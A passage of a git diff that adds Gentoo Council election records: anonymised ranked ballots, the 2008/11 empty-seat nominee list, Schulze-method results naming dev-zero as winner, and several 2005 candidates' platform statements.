+dev-zero
+jer ssuominen
+_reopen_nominations
+ulm
+leio
+--------- confirmation 3db2 ---------
+ssuominen
+dev-zero
+_reopen_nominations
+jer ulm leio
+--------- confirmation 4152 ---------
+dev-zero
+jer
+ulm
+leio
+ssuominen
+_reopen_nominations
+--------- confirmation 418a ---------
+ssuominen leio ulm
+dev-zero
+jer
+_reopen_nominations
+--------- confirmation 41b1 ---------
+dev-zero
+leio
+ssuominen
+_reopen_nominations
+ulm jer
+--------- confirmation 4430 ---------
+ulm
+leio
+ssuominen jer dev-zero
+_reopen_nominations
+--------- confirmation 45c8 ---------
+ssuominen
+jer
+ulm
+_reopen_nominations
+dev-zero
+leio
+--------- confirmation 4cee ---------
+ulm dev-zero jer ssuominen leio
+_reopen_nominations
+--------- confirmation 4dfc ---------
+dev-zero
+leio
+_reopen_nominations
+jer ssuominen ulm
+--------- confirmation 4ebd ---------
+_reopen_nominations
+dev-zero
+leio
+ulm jer ssuominen
+--------- confirmation 5080 ---------
+ssuominen
+dev-zero leio
+ulm
+jer
+_reopen_nominations
+--------- confirmation 539a ---------
+dev-zero
+leio
+ulm
+ssuominen
+jer
+_reopen_nominations
+--------- confirmation 5740 ---------
+ulm
+_reopen_nominations
+jer
+ssuominen
+leio
+dev-zero
+--------- confirmation 59b8 ---------
+leio dev-zero ssuominen jer ulm
+_reopen_nominations
+--------- confirmation 5d4e ---------
+dev-zero
+_reopen_nominations
+ulm
+jer
+leio
+ssuominen
+--------- confirmation 6057 ---------
+dev-zero
+leio
+_reopen_nominations
+ulm
+ssuominen
+jer
+--------- confirmation 60fc ---------
+jer
+leio
+ssuominen
+_reopen_nominations
+--------- confirmation 61ba ---------
+dev-zero
+ulm jer leio
+_reopen_nominations
+ssuominen
+--------- confirmation 62dd ---------
+dev-zero
+leio
+ssuominen
+ulm
+_reopen_nominations
+jer
+--------- confirmation 66e3 ---------
+jer
+ulm dev-zero leio
+ssuominen
+_reopen_nominations
+--------- confirmation 6934 ---------
+leio
+ssuominen
+dev-zero
+ulm
+jer
+_reopen_nominations
+--------- confirmation 6a68 ---------
+leio
+_reopen_nominations
+jer
+dev-zero
+ulm
+ssuominen
+--------- confirmation 6a9d ---------
+jer
+dev-zero
+ulm
+leio
+ssuominen
+_reopen_nominations
+--------- confirmation 712b ---------
+dev-zero
+leio
+ssuominen jer ulm
+--------- confirmation 7437 ---------
+dev-zero
+ulm
+ssuominen leio _reopen_nominations jer
+--------- confirmation 756f ---------
+jer
+ssuominen
+leio
+_reopen_nominations
+ulm
+dev-zero
+--------- confirmation 7609 ---------
+jer
+leio
+dev-zero
+ulm
+ssuominen
+_reopen_nominations
+--------- confirmation 785f ---------
+ssuominen
+_reopen_nominations
+--------- confirmation 7a83 ---------
+leio
+ssuominen
+_reopen_nominations
+dev-zero
+jer
+ulm
+--------- confirmation 7f87 ---------
+dev-zero
+leio
+jer
+ulm
+ssuominen
+_reopen_nominations
+--------- confirmation 8357 ---------
+leio
+--------- confirmation 84aa ---------
+dev-zero jer
+ulm ssuominen leio
+_reopen_nominations
+--------- confirmation 8c13 ---------
+dev-zero jer leio ssuominen ulm
+_reopen_nominations
+--------- confirmation 8c9b ---------
+ulm
+jer
+leio
+ssuominen
+dev-zero
+_reopen_nominations
+--------- confirmation 8e34 ---------
+dev-zero leio
+ssuominen
+_reopen_nominations
+ulm
+jer
+--------- confirmation 8e8f ---------
+dev-zero ssuominen
+jer ulm leio
+_reopen_nominations
+--------- confirmation 900f ---------
+jer leio dev-zero
+ulm ssuominen
+_reopen_nominations
+--------- confirmation 919c ---------
+dev-zero
+_reopen_nominations
+ulm leio ssuominen jer
+--------- confirmation 9430 ---------
+leio dev-zero
+jer ulm ssuominen
+_reopen_nominations
+--------- confirmation 959e ---------
+dev-zero
+ulm jer
+leio
+ssuominen
+_reopen_nominations
+--------- confirmation 95df ---------
+dev-zero
+--------- confirmation 9a31 ---------
+jer
+ssuominen
+ulm
+leio
+_reopen_nominations
+dev-zero
+--------- confirmation 9b73 ---------
+dev-zero
+ssuominen
+leio
+ulm
+jer
+_reopen_nominations
+--------- confirmation 9b95 ---------
+dev-zero
+leio
+ulm
+_reopen_nominations
+jer ssuominen
+--------- confirmation a196 ---------
+dev-zero
+leio
+_reopen_nominations
+--------- confirmation a305 ---------
+dev-zero
+leio
+ssuominen
+_reopen_nominations
+ulm
+jer
+--------- confirmation a3b2 ---------
+dev-zero
+leio
+_reopen_nominations
+jer ssuominen ulm
+--------- confirmation a6ea ---------
+leio
+ssuominen
+ulm
+dev-zero
+jer
+_reopen_nominations
+--------- confirmation abc0 ---------
+_reopen_nominations
+dev-zero jer leio ulm ssuominen
+--------- confirmation b005 ---------
+ssuominen
+jer
+ulm
+leio
+dev-zero
+--------- confirmation b29f ---------
+leio
+_reopen_nominations
+jer ssuominen
+dev-zero ulm
+--------- confirmation b74b ---------
+ssuominen dev-zero
+jer leio ulm
+_reopen_nominations
+--------- confirmation b900 ---------
+jer
+leio ssuominen
+dev-zero
+ulm
+--------- confirmation be2c ---------
+dev-zero
+jer leio ulm ssuominen
+_reopen_nominations
+--------- confirmation be44 ---------
+dev-zero
+jer
+leio
+--------- confirmation bfbe ---------
+leio
+--------- confirmation c2ae ---------
+ulm
+jer
+ssuominen
+leio
+dev-zero
+--------- confirmation c334 ---------
+jer dev-zero
+ulm leio ssuominen
+_reopen_nominations
+--------- confirmation c8ee ---------
+dev-zero
+leio
+_reopen_nominations
+ulm
+jer
+ssuominen
+--------- confirmation cb15 ---------
+dev-zero
+leio
+_reopen_nominations
+ulm
+ssuominen
+jer
+--------- confirmation 020c ---------
+leio
+dev-zero ssuominen
+jer ulm
+_reopen_nominations
+--------- confirmation ccfe ---------
+ulm
+ssuominen
+dev-zero
+leio
+jer
+_reopen_nominations
+--------- confirmation d05f ---------
+dev-zero
+jer
+ulm
+leio
+ssuominen
+_reopen_nominations
+--------- confirmation d0d7 ---------
+dev-zero
+ulm
+_reopen_nominations
+ssuominen leio jer
+--------- confirmation d30a ---------
+dev-zero
+leio
+ulm jer ssuominen
+_reopen_nominations
+--------- confirmation d638 ---------
+ssuominen
+leio dev-zero
+_reopen_nominations
+ulm
+jer
+--------- confirmation d859 ---------
+dev-zero
+ssuominen
+ulm leio jer
+_reopen_nominations
+--------- confirmation d8a7 ---------
+dev-zero
+ulm leio ssuominen jer
+_reopen_nominations
+--------- confirmation d9c1 ---------
+leio
+dev-zero ulm
+_reopen_nominations
+ssuominen
+jer
+--------- confirmation da70 ---------
+ulm
+jer leio dev-zero
+_reopen_nominations
+ssuominen
+--------- confirmation de1e ---------
+ulm jer dev-zero leio
+ssuominen
+_reopen_nominations
+--------- confirmation e127 ---------
+ulm ssuominen dev-zero
+leio jer
+_reopen_nominations
+--------- confirmation 1692 ---------
+jer
+ssuominen
+leio
+ulm dev-zero
+--------- confirmation 1696 ---------
+dev-zero
+ulm leio
+ssuominen jer
+_reopen_nominations
+--------- confirmation e262 ---------
+dev-zero
+leio
+_reopen_nominations
+ssuominen ulm jer
+--------- confirmation e4c6 ---------
+ssuominen dev-zero
+--------- confirmation e6a7 ---------
+leio ssuominen ulm
+jer dev-zero
+_reopen_nominations
+--------- confirmation eb70 ---------
+dev-zero
+_reopen_nominations
+ulm ssuominen leio jer
+--------- confirmation ee1f ---------
+dev-zero leio
+_reopen_nominations
+ulm ssuominen jer
+--------- confirmation eec6 ---------
+ulm
+_reopen_nominations
+jer
+ssuominen
+dev-zero
+leio
+--------- confirmation ef11 ---------
+ulm
+jer
+dev-zero
+ssuominen leio
+_reopen_nominations
+--------- confirmation efdb ---------
+leio
+dev-zero
+jer
+ssuominen ulm
+_reopen_nominations
+--------- confirmation f231 ---------
+dev-zero
+_reopen_nominations
+ssuominen
+ulm
+leio
+jer
+--------- confirmation f31a ---------
+dev-zero
+leio
+ssuominen
+ulm
+jer
+_reopen_nominations
+--------- confirmation f952 ---------
+ssuominen jer dev-zero
+ulm leio
+_reopen_nominations
+--------- confirmation f961 ---------
+dev-zero ssuominen
+_reopen_nominations
+ulm
+jer
+leio
+--------- confirmation fac0 ---------
+dev-zero
+leio
+ssuominen
+_reopen_nominations
+ulm
+jer
+--------- confirmation fb6b ---------
+dev-zero
+ulm
+ssuominen
+jer
+leio
+_reopen_nominations
+--------- confirmation fcc6 ---------
+dev-zero
+_reopen_nominations
+ulm leio ssuominen jer
+--------- confirmation fe6c ---------
+dev-zero
+ulm
+leio
+ssuominen
+jer
+--------- confirmation 1a0d ---------
+dev-zero
+ulm
+ssuominen
+leio jer
+_reopen_nominations
+--------- confirmation 02ac ---------
+leio
+ssuominen
+dev-zero
+ulm jer
+--------- confirmation 02b6 ---------
+ssuominen
+dev-zero
+_reopen_nominations
+leio jer ulm
+--------- confirmation 1b44 ---------
+jer
+ulm
+dev-zero leio ssuominen
+_reopen_nominations
+--------- confirmation 1bd9 ---------
+ulm
+leio dev-zero
+ssuominen
+_reopen_nominations
+jer
+--------- confirmation 1ec2 ---------
+dev-zero
+leio
+_reopen_nominations
+ulm jer ssuominen
+--------- confirmation 0372 ---------
+ssuominen leio
+jer
+_reopen_nominations
+dev-zero ulm
+--------- confirmation 23d1 ---------
+leio
+ulm
+jer
+dev-zero
+ssuominen
+_reopen_nominations
+--------- confirmation 2402 ---------
+dev-zero ssuominen
+_reopen_nominations
+jer ulm leio
+--------- confirmation 240e ---------
+jer
+ssuominen
+leio dev-zero
+_reopen_nominations
+ulm
diff --git a/xml/htdocs/proj/en/council/voting-logs/council-2008b-nominees.xml b/xml/htdocs/proj/en/council/voting-logs/council-2008b-nominees.xml
new file mode 100644
index 00000000..d4494f90
--- /dev/null
+++ b/xml/htdocs/proj/en/council/voting-logs/council-2008b-nominees.xml
@@ -0,0 +1,47 @@
+<?xml version='1.0' encoding="UTF-8"?>
+<!-- $Header: /var/cvsroot/gentoo/xml/htdocs/proj/en/council/voting-logs/council-2008b-nominees.xml,v 1.2 2009/10/20 15:24:59 dertobi123 Exp $ -->
+<!DOCTYPE election SYSTEM "/dtd/election.dtd">
+<?xml-stylesheet href="/xsl/election.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+
+<election>
+  <title>Gentoo Council 2008/11 Empty Seat Nomination</title>
+
+<author title="Election Official">
+  <mail link="antarus"/>
+</author>
+<author title="Election Official">
+  <mail link="jmbsvicetto"/>
+</author>
+<author title="Election Official">
+  <mail link="dberkholz"/>
+</author>
+<author title="Infrastructure Contact">
+  <mail link="fox2mike"/>
+</author>
+<author title="Infrastructure Contact">
+  <mail link="robbat2"/>
+</author>
+
+<date>2008-11-28</date>
+<version>8</version>
+
+<nominations from="2008-11-21" to="2008-11-28">
+  <nominee accepted="yes" platform="nominees/2008/dev-zero.txt">dev-zero</nominee>
+  <nominee accepted="yes">jer</nominee>
+  <nominee accepted="yes" platform="nominees/2008/leio.txt">leio</nominee>
+  <nominee accepted="yes">ssuominen</nominee>
+  <nominee accepted="yes">ulm</nominee>
+  
+  <nominee > </nominee>
+  
+  <nominee > </nominee>
+
+  <nominee accepted="no">loki_val</nominee>
+  <nominee accepted="no" devrel="yes">musikc</nominee>
+  <nominee accepted="no">robbat2</nominee>
+  <nominee accepted="no" devrel="yes" trustee="yes">tsunam</nominee>
+  <nominee accepted="no">vapier</nominee>
+  <nominee accepted="no">zmedico</nominee>
+</nominations>
+</election>
diff --git a/xml/htdocs/proj/en/council/voting-logs/council-2008b-rank.txt b/xml/htdocs/proj/en/council/voting-logs/council-2008b-rank.txt
new file mode 100644
index 00000000..3d08fe45
--- /dev/null
+++ b/xml/htdocs/proj/en/council/voting-logs/council-2008b-rank.txt
@@ -0,0 +1,5 @@
+dev-zero
+leio
+ssuominen ulm
+jer
+_reopen_nominations
diff --git a/xml/htdocs/proj/en/council/voting-logs/council-2008b-results.txt b/xml/htdocs/proj/en/council/voting-logs/council-2008b-results.txt
new file mode 100644
index 00000000..98318656
--- /dev/null
+++ b/xml/htdocs/proj/en/council/voting-logs/council-2008b-results.txt
@@ -0,0 +1,156 @@
+Hello fellow devs, users and Gentoo community.
+
+Here are your verified and long-awaited results.
+
+Tiziano Müller (dev-zero) was chosen to join the current Gentoo Council
+for term 2008/2009. Congratulations to Tiziano and good luck.
+
+Full ranked list of candidates:
+
+dev-zero
+leio
+ssuominen ulm
+jer
+_reopen_nominations
+
+The council for the remaining of the term will then be:
+
+Donnie Berkholz (dberkholz)
+Mark Loeser (Halcy0n)
+Petteri Raty (Betelgeuse)
+Luca Barbato (lu_zero)
+Tobias Scherbaum (dertobi123)
+Doug Goldstein (cardoe)
+Tiziano Müller (dev-zero)
+
+
+This mail has the master ballot file attached to it. You were also
+mailed with your ID. You can use the file and the ID to verify that
+your vote was included in the master ballot file. If you didn't get
+your ID or you can't find your vote inside the ballot file, please
+contact election officials (antarus, dberkholz, jmbsvicetto, fox2mike,
+robbat2 (@g.o or #gentoo-elections on freenode)).
+
+The turnout was 42.9%. We received 105 valid votes from 245 voters. This
+election had no invalid votes.
+
+
+---------------------------------------------------------------
+woodpecker ~ # countify --rank council2008b
+_reopen_nominations
+dev-zero
+ssuominen
+
+                     _reop  dev-z    jer   leio  ssuom    ulm
+_reopen_nominations    ***     16     40     19     29     36
+           dev-zero     87    ***     67     59     60     70
+                jer     60     23    ***     29     33     28
+               leio     83     29     50    ***     54     48
+          ssuominen     71     28     42     30    ***     37
+                ulm     64     19     41     30     37    ***
+
+option _reopen_nominations is eliminated (dev-zero trans-defeats
+_reopen_nominations, and _reopen_nominations does not trans-defeat
+dev-zero)
+option jer is eliminated (dev-zero trans-defeats jer, and jer does not
+trans-defeat dev-zero)
+option leio is eliminated (dev-zero trans-defeats leio, and leio does
+not trans-defeat dev-zero)
+option ssuominen is eliminated (dev-zero trans-defeats ssuominen, and
+ssuominen does not trans-defeat dev-zero)
+option ulm is eliminated (dev-zero trans-defeats ulm, and ulm does not
+trans-defeat dev-zero)
+the Schwartz set is {dev-zero}
+
+result: option dev-zero wins
+
+*** Running another pass to find the next winners... ***
+
+                     _reop  dev-z    jer   leio  ssuom    ulm
+_reopen_nominations    ***     16     40     19     29     36
+           dev-zero     -1    +++     -1     -1     -1     -1
+                jer     60     23    ***     29     33     28
+               leio     83     29     50    ***     54     48
+          ssuominen     71     28     42     30    ***     37
+                ulm     64     19     41     30     37    ***
+
+option _reopen_nominations is eliminated (jer trans-defeats
+_reopen_nominations, and _reopen_nominations does not trans-defeat jer)
+option jer is eliminated (leio trans-defeats jer, and jer does not
+trans-defeat leio)
+option ssuominen is eliminated (leio trans-defeats ssuominen, and
+ssuominen does not trans-defeat leio)
+option ulm is eliminated (leio trans-defeats ulm, and ulm does not
+trans-defeat leio)
+the Schwartz set is {leio}
+
+result: option leio wins
+
+*** Running another pass to find the next winners... ***
+
+                     _reop  dev-z    jer   leio  ssuom    ulm
+_reopen_nominations    ***     16     40     19     29     36
+           dev-zero     -1    +++     -1     -1     -1     -1
+                jer     60     23    ***     29     33     28
+               leio     -1     -1     -1    +++     -1     -1
+          ssuominen     71     28     42     30    ***     37
+                ulm     64     19     41     30     37    ***
+
+option _reopen_nominations is eliminated (jer trans-defeats
+_reopen_nominations, and _reopen_nominations does not trans-defeat jer)
+option jer is eliminated (ssuominen trans-defeats jer, and jer does not
+trans-defeat ssuominen)
+the Schwartz set is {ssuominen, ulm}
+
+result: tie between options ssuominen, ulm
+
+*** Running another pass to find the next winners... ***
+
+                     _reop  dev-z    jer   leio  ssuom    ulm
+_reopen_nominations    ***     16     40     19     29     36
+           dev-zero     -1    +++     -1     -1     -1     -1
+                jer     60     23    ***     29     33     28
+               leio     -1     -1     -1    +++     -1     -1
+          ssuominen     -1     -1     -1     -1    +++     -1
+                ulm     -1     -1     -1     -1     -1    +++
+
+option _reopen_nominations is eliminated (jer trans-defeats
+_reopen_nominations, and _reopen_nominations does not trans-defeat jer)
+the Schwartz set is {jer}
+
+result: option jer wins
+
+*** Running another pass to find the next winners... ***
+
+                     _reop  dev-z    jer   leio  ssuom    ulm
+_reopen_nominations    ***     16     40     19     29     36
+           dev-zero     -1    +++     -1     -1     -1     -1
+                jer     -1     -1    +++     -1     -1     -1
+               leio     -1     -1     -1    +++     -1     -1
+          ssuominen     -1     -1     -1     -1    +++     -1
+                ulm     -1     -1     -1     -1     -1    +++
+
+the Schwartz set is {_reopen_nominations}
+
+result: option _reopen_nominations wins
+
+*** Finished ranking candidates ***
+
+Final ranked list:
+dev-zero
+leio
+ssuominen ulm
+jer
+_reopen_nominations
+---------------------------------------------------------------
+
+
+Thanks for all the votes and kind regards,
+
+For election officials,
+
+-- 
+Regards,
+
+Jorge Vicetto (jmbsvicetto) - jmbsvicetto at gentoo dot org
+Gentoo- forums / Userrel / Devrel / SPARC / KDE
diff --git a/xml/htdocs/proj/en/council/voting-logs/nominees/2005/KingTaco.txt b/xml/htdocs/proj/en/council/voting-logs/nominees/2005/KingTaco.txt
new file mode 100644
index 00000000..ebec91cf
--- /dev/null
+++ b/xml/htdocs/proj/en/council/voting-logs/nominees/2005/KingTaco.txt
@@ -0,0 +1,10 @@
+A bit about myself:  For those who don't know me, I'm the amd64
+strategic lead, as well as a member of devrel.
+
+If elected, my goals are very simple:  I want to remove as much bs as
+possible from the developers life.  Every minute a developer spends not
+doing development is a waste of his/her time, and everyone loses
+out.(users included)  Lets work together to streamline processes and
+procedures to minimize the amount of time a dev has to spend not doing
+development.  Giving developers more time to do what they do best will
+make gentoo a better distro.
diff --git a/xml/htdocs/proj/en/council/voting-logs/nominees/2005/Koon.txt b/xml/htdocs/proj/en/council/voting-logs/nominees/2005/Koon.txt
new file mode 100644
index 00000000..bfdd1f6f
--- /dev/null
+++ b/xml/htdocs/proj/en/council/voting-logs/nominees/2005/Koon.txt
@@ -0,0 +1,60 @@
+The Gentoo council
+
+The vote that will be called in August is to fill the positions of the
+Gentoo council, the upper decision body that will be called to solve
+global issues that can't be solved at project level. It will also serve
+as an appeal system to devrel judgments. It is somewhat identical to
+the current "Managers meeting" system in that it provides an upper
+decision body, but it's also different, in particular it will be less
+intrusive and let each project run independently.
+
+You may find that a lot of voting is going on lately. One idea behind
+the Gentoo council is that you elect people that will take decisions,
+so that we don't have to organize votes for every issue that arises.
+Be sure to vote for people that represent your views on Gentoo in
+general, while still having the dispute resolution skills necessary to
+take the best decision in complex issues.
+
+Background
+
+For those who don't know me, my name is Thierry Carrez, a.k.a. Koon.
+I'm 32, married and living in Paris. I've been using Internet since
+1993 and Linux since 1994. I've seen the web without the browser and
+the search engine, and I survived it. I'm the CIO of a small software
+company, managing a small team of engineers that also does training
+and technical support.
+
+I've been using Gentoo since 2002, both at home and at work. I joined
+the Security team in March 2004, originally to work on the security
+policy and procedures. I have been acting as Operational Manager for
+the Security project since September 2004, pumping GLSAs out. I also
+developed a small subproject inside the Embedded project called GNAP[1],
+a system to quickly build LiveCDs and disk images containing network
+appliance configurations.
+
+Qualifications for the job
+
+I have some experience in technical management, enough to see that
+Gentoo metastructure and management system needed some radical changes.
+The discussion at FOSDEM and at the latest managers meeting's Q&A
+sessions confirmed that. At the demand of the managers meeting, I
+tried to organize the discussion on the subject, and together with
+Grant Goodyear we held elections to see which of the various proposals
+was the preferred one[2]. I think I have a good knowledge of the spirit
+of the proposal that was chosen and, if elected, will make sure the
+council will stay in the role it was elected for.
+
+I also have a wide technical culture and good diplomatic skills, which I
+think are necessary to make a good member of the council. The security
+work implies lots of coordination with all the other teams and projects
+in Gentoo. I know your work well and how it fits in the global picture :
+if elected, this will help me take the right decision.
+
+Thank you all for your attention,
+
+-- 
+Thierry Carrez (Koon)
+
+[1] http://embedded.gentoo.org/gnap.xml
+[2] http://dev.gentoo.org/~g2boojum/proposal.html
+    http://dev.gentoo.org/~spb/ciaranm-slacker-boot-proposal.txt.
diff --git a/xml/htdocs/proj/en/council/voting-logs/nominees/2005/Kugelfang.txt b/xml/htdocs/proj/en/council/voting-logs/nominees/2005/Kugelfang.txt
new file mode 100644
index 00000000..dec6f5ca
--- /dev/null
+++ b/xml/htdocs/proj/en/council/voting-logs/nominees/2005/Kugelfang.txt
@@ -0,0 +1,18 @@
+http://planet.gentoo.org/developers/Kugelfang/2005/07/12/gentoo_council_election
+
+My life as a Gentoo Dev started on April the 11th 2004 when I was recruited by 
+Jason Huebel to help the Gentoo/AMD64 Project (then 'porting team') with the 
+increasing number of bugs. Since that time I also joined the Gentoo Scientific 
+Project where I help to maintain mainly libraries (blas, lapack and 
+derivates). Nowadays I serve (together with Mike Doty and Simon Stelling) as 
+one of the Gentoo/AMD64 head monkeys and help Aaron Walker and others to get 
+app-admin/eselect working.
+
+My non-Gentoo live mainly consists of studying physics at Dortmund University, 
+currently being in my second year and merely a month before pre-diploma. In my 
+current job I assist a befriended graduate student with his research on 
+'Diagnosis and localization of discrete damages by measurement of 
+eigenfrequencies'.
+
+I would enjoy serving as a member of the Gentoo Council and I will appreciate 
+every vote :-)
diff --git a/xml/htdocs/proj/en/council/voting-logs/nominees/2005/SwifT.txt b/xml/htdocs/proj/en/council/voting-logs/nominees/2005/SwifT.txt
new file mode 100644
index 00000000..9ecb9f62
--- /dev/null
+++ b/xml/htdocs/proj/en/council/voting-logs/nominees/2005/SwifT.txt
@@ -0,0 +1,64 @@
+http://dev.gentoo.org/~swift/blog/articles/20050706-council.html
+
+Now that the Gentoo Foundation nominations are done, we are here again for the 
+nominations of the Gentoo Project itself. Unlike with the Foundation, this 
+nomination is for development-related matters. And yes, I am putting myself in 
+as a candidate again.
+
+For those who don't know me, my name is Sven Vermeulen, nickname SwifT, and I 
+am currently in charge of the Gentoo Documentation Project together with 
+neysx. I'm also active in the Gentoo PR as "the guy behind www@gentoo.org" 
+which apparently is used by a lot of folks as a support channel :p
+
+I am also quite active on #gentoo in periods (I generally don't chat while 
+doing real-life work), I work on the Gentoo Website Redesign project together 
+with the freshly-appointed curtis119, am kind-of responsible for the website 
+(not appointed, more by activity :) and am also a Gentoo Foundation Trustee.
+
+I have joined the Gentoo forces around April 2003 if I recall correctly after 
+pushing the former documentation lead with lots of Dutch translations. In 
+those days, Dutch was the most active and up-to-date (translation) language. 
+After a while I shifted my attention to the English documents, first as 
+editor, later on as the freshly appointed Documentation Lead position I am 
+currently still in.
+
+I have been one of the Gentoo Managers ever since then which gave me a great 
+incentive to discover how the various projects inside Gentoo work. And because 
+every project needs documentation eventually, I was (and still am) in a 
+perfect position to learn a lot and help projects improve themselves.
+
+As documentation editor I am involved in the Gentoo release process since I am 
+to blame for the off-line documentation that is generated for the installation 
+CDs and the Gentoo Handbook in general. Yes, the handbook is my brain fart :) 
+You will also find a lot of guides and HOWTOs that have my name as the primary 
+author.
+
+When you would ask me if I fit in nicely in a team, I do try to think I do. 
+You may ask any of my GDP minions of course. I do know I do not easily send 
+out heated e-mails or flame-bait; I always remain calm. Unlike some, I do have 
+some diplomacy running through my blood vessels :p Although it can happen on 
+occasion, I am generally not too impulsive in my actions, which can be 
+devastating when you need to decide on broad problems.
+
+So why am I putting myself in as candidate for the Gentoo Project if I already 
+am a Gentoo Foundation Trustee?
+
+For one, the Gentoo Foundation has nothing to do with the Gentoo development.
+
+Second, I feel the upcoming Gentoo Council can greatly benefit from an active 
+documentation editor and project lead: the feedback I receive from the Gentoo 
+community gives me a good idea what the user community is asking for or where 
+improvements should be made. It should be invaluable for the decisions that 
+the Council will need to make. My knowledge about the Gentoo structure 
+(current and future) will help me find the most optimal solution for any given 
+problem and propagate my ideas to others.
+
+As a third point I would like to say I don't easily get in a fight with people 
+and you won't find me name-calling people. Being kind to each other, 
+especially in a volunteer project, is too important to just blow up. Therefore 
+the council will always be able to discuss topics properly without resulting 
+in internal quarrels.
+
+So, I hope this sums up my Gentoo status sufficiently so that you, Gentoo 
+Developers, can vote for who you think is the best suited for a position 
+within the Council.
diff --git a/xml/htdocs/proj/en/council/voting-logs/nominees/2005/Weeve.txt b/xml/htdocs/proj/en/council/voting-logs/nominees/2005/Weeve.txt
new file mode 100644
index 00000000..b77bb183
--- /dev/null
+++ b/xml/htdocs/proj/en/council/voting-logs/nominees/2005/Weeve.txt
@@ -0,0 +1,70 @@
+Hello Gentoo Developers,
+
+I'd like to thank Hardave Riar (hardave) and Joshua Kinard (Kumba) for
+nominating me for a position on the soon to be formed Jedi er, Gentoo Council.
+First I'll detail a little about my background with Gentoo and then get into a
+little bit about why I believe I would make a good Council member.
+
+
+Background:
+
+I've been working with Linux as a hobbyist/enthusiast since late 1997/early
+1998.  Having originally started with Slackware, my introduction to Gentoo in
+2001 was smooth.  One of the big appeals of Gentoo for me was that like
+Slackware, Gentoo really didn't try to do hold your hand or make assumptions
+about how you wanted your system configured.   Plus Gentoo had a lot more
+packages to it than Slackware, which was a plus because I was always
+forgetting how I compiled my packages on Slackware :)
+
+Though I initially was using Gentoo on x86, I became interested to know if
+Gentoo had an UltraSPARC port, and lo and behold, it did!  Once I found out
+there was an UltraSPARC port, I installed it at work and started spending time
+helping out in IRC and on the forums.  In October 2002, Seemant was kind enough
+to make me a developer.  When the Zynot fork happened in June-July 2003, I
+became the Team Lead for the SPARC port.
+
+
+Propaganda:
+
+I believe I have the qualities it would take to be a good candidate for a
+Gentoo Council member.  Having been a developer for almost 3 years, I've seen
+a lot of change and people come and go.  Also being a manager has helped give
+me a little more insight into how organizations function and how people
+function.  While I am typically low key on most of the mailing lists, I tend
+to focus my time on working on testing and quality assurance for the
+SPARC/UltraSPARC ports.  A lot of users have commented on the stablity of the
+SPARC port in comparison to some of the other architecture ports, and I'm glad
+that the SPARC team's efforts on that front are noticed and appreciated.  That
+being said, as a council member, I'd like to try and bring that focus on
+quality assurance as well as a larger awareness of alternative architectures
+to the rest of the Gentoo developer and user community.  Our currently small
+and quite dilligent QA team is doing a great job, and I'd like to see their
+efforts expanded upon to help try and improve the quality of our little corner
+of the Linux distribution world.
+
+With regards to leadership qualifications, I've been the Team Lead / Co-Team
+Lead of the SPARC port for almost 2 years now.  I also hold the rank of Eagle
+Scout[1] in the Boy Scouts of America.  As most of the other SPARC developers,
+or other Gentoo developers I've worked with a bit and/or had the chance to
+meet in real life, I'm not really as crazy as my Orkut picture makes me look
+:)  I try to bring an open-minded approach to my leadership responsibilities
+and be as fair and impartial as I can.  I try to encourage folks when they
+have ideas, and give them lots of free reign to work with.  As a council
+member, I'd like to try and help couple that approach with a little more
+global direction for the Gentoo project as a whole.  
+
+
+
+Thanks for taking the time to read this and please feel free to ask me any
+questions you may have.
+
+-- 
+Jason Wever
+
+[1] - For those who don't know, the Eagle Scout rank requires that the Boy
+Scout striving to obtain the rank demonstrate leadership by developing and
+implementing a community service project in a leadership role.
+
+
+
+
diff --git a/xml/htdocs/proj/en/council/voting-logs/nominees/2005/agriffis.txt b/xml/htdocs/proj/en/council/voting-logs/nominees/2005/agriffis.txt
new file mode 100644
index 00000000..b797ed20
--- /dev/null
+++ b/xml/htdocs/proj/en/council/voting-logs/nominees/2005/agriffis.txt
@@ -0,0 +1,33 @@
+http://planet.gentoo.org/developers/agriffis/2005/07/05/gentoo_council_nomination
+
+My history with Gentoo goes back to 2001.  I had been developing for
+other distros prior to that and found my way to Gentoo by reading one
+of Daniel Robbins's DeveloperWorks articles.  I jumped on IRC and
+helped solve some early portage problems, particularly "try vs. die"
+(which is famous only in my own mind) and file corruption issues that
+were the result of writing directly on top of existing files instead
+of moving the old ones aside first.  Daniel asked me to be a developer
+and I dove in head first.
+
+Since then I've worn a number of hats.  I've worked on a lot of
+architecture issues, contributing to alpha and ia64 in particular.
+I've maintained or co-maintained a number of packages, including bash,
+mozilla, firefox, thunderbird, mutt, mercurial, vim, xcut,
+xautomation, ctrlproxy, lilypond, librep, rep-gtk, sawfish, plucker,
+subversion, jpilot and baselayout.  I also wrote mozilla-launcher,
+epm, echangelog, ekeyword, eviewcvs and votify.  I didn't originally
+author keychain, but all of the code in it is mine at this point. ;-)
+Finally, I was one of the original trustees, but I chose not to run
+this year because I believe my skills are more suited to making
+technical contributions.
+
+Technical contributions are important for anybody wanting to
+facilitate cross-project decisions.  Sometimes a good technical
+solution will allow two projects to forge ahead in peace when they
+were previously at odds.  When that isn't possible, it's important to
+get along with other developers and find a way forward.  I believe
+I get along with my fellow developers.  I have my own opinions, but
+I work hard to understand the perspectives of other developers, and
+I'm not shy about backing down and admitting I was wrong.
+
+I look forward to serving on the Gentoo Council if I am elected.
diff --git a/xml/htdocs/proj/en/council/voting-logs/nominees/2005/azarah.txt b/xml/htdocs/proj/en/council/voting-logs/nominees/2005/azarah.txt
new file mode 100644
index 00000000..18e4a23c
--- /dev/null
+++ b/xml/htdocs/proj/en/council/voting-logs/nominees/2005/azarah.txt
@@ -0,0 +1,16 @@
+Just a short something about me ... I have been a dev since July 2001.
+I did most of the rc-script enhancements the first two or so years
+('use', 'before' and 'after' logic, etc), did most of Gnome back then
+after Hallski left, maintained X, maintained most of base-system at some
+stage, maintained most of toolchain at some stage ... basically global
+tree maintenance.  Also was the author (planner?) of gcc-config and
+opengl-update (OK, so both have evolved some since ;) ).
+
+Then real life (aka work) got a hold of me, and I went mia for a bit.
+That should fortunately be something of the past now.
+
+In general I rather try to focus on development, and believe that we
+should not get involved in politics (yeah rich now, but mostly why I do
+not add to the flames).
+
+That should be about that I think.
diff --git a/xml/htdocs/proj/en/council/voting-logs/nominees/2005/ciaranm.txt b/xml/htdocs/proj/en/council/voting-logs/nominees/2005/ciaranm.txt
new file mode 100644
index 00000000..e2a2310a
--- /dev/null
+++ b/xml/htdocs/proj/en/council/voting-logs/nominees/2005/ciaranm.txt
@@ -0,0 +1,82 @@
+Brief list of things I maintain, co-maintain or generally tinker with --
+Fluxbox, the Vim packages and plugins, various shell tools and cron things,
